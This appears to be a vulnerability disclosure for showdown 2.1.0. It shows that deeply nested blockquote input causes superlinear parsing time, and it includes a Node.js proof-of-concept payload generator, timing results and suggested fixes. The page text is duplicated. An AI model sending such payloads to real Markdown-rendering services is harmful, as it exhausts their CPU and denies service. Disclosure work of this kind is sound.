Summary
I found a denial-of-service issue in showdown blockquote parsing.
When processing deeply nested blockquotes such as "> ".repeat(N) + "x", showdown 2.1.0 shows severe superlinear runtime growth and quadratic output growth. In local validation on March 14, 2026, a 601-byte input took about 11 seconds and produced 188,108 bytes of HTML. A 1,001-byte input took about 59 seconds and produced 513,508 bytes.
This makes server-side Markdown rendering vulnerable to CPU exhaustion with a very small attacker-controlled payload.
Affected Version
Validated on:
showdown 2.1.0
- Node.js
24.13.0
- Windows environment during local reproduction on March 14, 2026
I have not yet verified whether older versions are also affected, but the issue is present in 2.1.0.
Reproduction
Minimal trigger:
const showdown = require("showdown");
const converter = new showdown.Converter();
const payload = "> ".repeat(300) + "x";
const html = converter.makeHtml(payload);
Standalone benchmark PoC:
#!/usr/bin/env node
"use strict";
const showdown = require("showdown");
const converter = new showdown.Converter();
function generatePayload(depth) {
return "> ".repeat(depth) + "x";
}
for (const depth of [10, 50, 100, 200, 300, 400, 500]) {
const input = generatePayload(depth);
const start = process.hrtime.bigint();
const html = converter.makeHtml(input);
const elapsedMs = Number(process.hrtime.bigint() - start) / 1e6;
console.log(JSON.stringify({
depth,
inputBytes: input.length,
outputBytes: html.length,
amplification: (html.length / input.length).toFixed(1),
elapsedMs: elapsedMs.toFixed(1)
}));
}
Observed Results
Local results from March 14, 2026:
| Input Size |
Depth |
Processing Time |
Output Size |
Amplification |
| 21 B |
10 |
18 ms |
478 B |
22.8x |
| 101 B |
50 |
28 ms |
6,358 B |
62.9x |
| 201 B |
100 |
198 ms |
22,708 B |
113.0x |
| 401 B |
200 |
2.56 s |
85,408 B |
213.0x |
| 601 B |
300 |
12.8 s |
188,108 B |
313.0x |
| 801 B |
400 |
26.5 s |
330,808 B |
413.0x |
| 1001 B |
500 |
63.4 s |
513,508 B |
513.0x |
The exact runtime is machine-dependent, but the pathological growth is easy to reproduce.
Technical Notes
The output growth is quadratic in nesting depth because each additional level wraps the previous content in another <blockquote> with additional indentation.
The parser implementation also appears to recurse through blockquote parsing repeatedly. In dist/showdown.js, blockQuotes strips one quote level and then calls blockGamut recursively on the remaining text before wrapping the result again. That repeated processing appears to be responsible for the observed runtime blowup.
Relevant code path:
blockQuotes in dist/showdown.js
Security Impact
Any application that accepts user-controlled Markdown and renders it server-side with showdown may be vulnerable to denial of service.
A payload around 1 KB is sufficient to tie up a worker thread for tens of seconds. Multiple concurrent requests could make the service unavailable.
Suggested Fix
- Add a maximum blockquote nesting depth, similar to
markdown-it
- Refactor blockquote parsing to avoid recursively reprocessing nearly the entire remaining input at each nesting level
Credit
Discovered via differential fuzzing with web-fuzzer.
Verification assistance:
- Jeongbin Ahn (@been43959)
Summary
I found a denial-of-service issue in
showdownblockquote parsing.When processing deeply nested blockquotes such as
"> ".repeat(N) + "x",showdown2.1.0 shows severe superlinear runtime growth and quadratic output growth. In local validation on March 14, 2026, a 601-byte input took about 11 seconds and produced 188,108 bytes of HTML. A 1,001-byte input took about 59 seconds and produced 513,508 bytes.This makes server-side Markdown rendering vulnerable to CPU exhaustion with a very small attacker-controlled payload.
Affected Version
Validated on:
showdown2.1.024.13.0I have not yet verified whether older versions are also affected, but the issue is present in
2.1.0.Reproduction
Minimal trigger:
Standalone benchmark PoC:
Observed Results
Local results from March 14, 2026:
The exact runtime is machine-dependent, but the pathological growth is easy to reproduce.
Technical Notes
The output growth is quadratic in nesting depth because each additional level wraps the previous content in another
<blockquote>with additional indentation.The parser implementation also appears to recurse through blockquote parsing repeatedly. In
dist/showdown.js,blockQuotesstrips one quote level and then callsblockGamutrecursively on the remaining text before wrapping the result again. That repeated processing appears to be responsible for the observed runtime blowup.Relevant code path:
blockQuotesindist/showdown.jsSecurity Impact
Any application that accepts user-controlled Markdown and renders it server-side with
showdownmay be vulnerable to denial of service.A payload around 1 KB is sufficient to tie up a worker thread for tens of seconds. Multiple concurrent requests could make the service unavailable.
Suggested Fix
markdown-itCredit
Discovered via differential fuzzing with
web-fuzzer.Verification assistance: